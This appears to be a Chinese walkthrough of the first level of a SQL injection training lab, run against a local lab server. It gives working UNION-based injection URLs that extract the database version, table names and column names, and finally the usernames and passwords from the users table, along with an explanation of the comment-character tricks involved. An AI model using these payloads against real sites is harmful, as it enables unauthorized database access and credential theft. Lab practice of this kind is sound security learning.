目标:获取用户名密码
打开第一关发现没有任何参数,
根据提示“请输入ID作为带有数字值的参数”构造url,正常显示。
加’ 判断有无注入,执行后报错,可判断为数字型注入
使用union查询,查询数据库名及版本
http://192.168.0.5:9002/Less-1/?id=-2' union select 1,version(),database() --+
--+
的注释问题
首先明确mysql的注释符号都有哪些
1、#
2、--
注意--
后面有一个空格
3、/*...*/
首先我们查看一下这个源码sql语句为
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们的输入为id 带入查询语句的话则是
SELECT * FROM users WHERE id='2'union select 1,2,3' LIMIT 0,1;
可以看到该SQL语句多出一个'
所以无法执行成功,因此我们需要通过注释符将其后边的内容进行注释。
1.为什么不使用#
?
原因是url中#
号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#
将#
号改成url的编码%23就可以了
2.为什么并不使用--
而是使用--+
?
因为带入执行的sql语句 --
与后面的这个单引号连接在一起,--
后加空格才能起到注释作用,使用--+
执行的SQL语句中+
变成了空格所以注释符才能起到作用。
当然报错的原因是'
没有闭合,只要把单引号闭合语句就可以执行。
这里说一下为什么id的参数要为-1、-2
首先我们查看一下这个源码sql语句为
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
可以看到带入执行的SQL语句为:
$sql="SELECT * FROM users WHERE id='2' union select 1,version(),database() --+' LIMIT 0,1";
union用于合并两个或多个 SELECT 语句所以同时执行的语句为
语句1:SELECT * FROM users WHERE id='2'
语句2:select 1,version(),database()
同时返回语句结果,但是在页面 上只有两个位置所以两个位置只能显示语句1,语句2无法显示;
所以我们需将语句1通过id=-1或者 id=1 and 1=2等方式使其无法获得数据,则页面返回语句2的执行结果
爆表名
http://192.168.0.5:9002/Less-1/?id=-2' union select 1,group_concat(table_name),3 from%20information_schema.tables where table_schema=database() --+
爆字段
http://192.168.0.5:9002/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
获取表的内容
http://192.168.0.5:9002/Less-1/?id=-2' union select 1,group_concat(username),group_concat(password) from security.users --+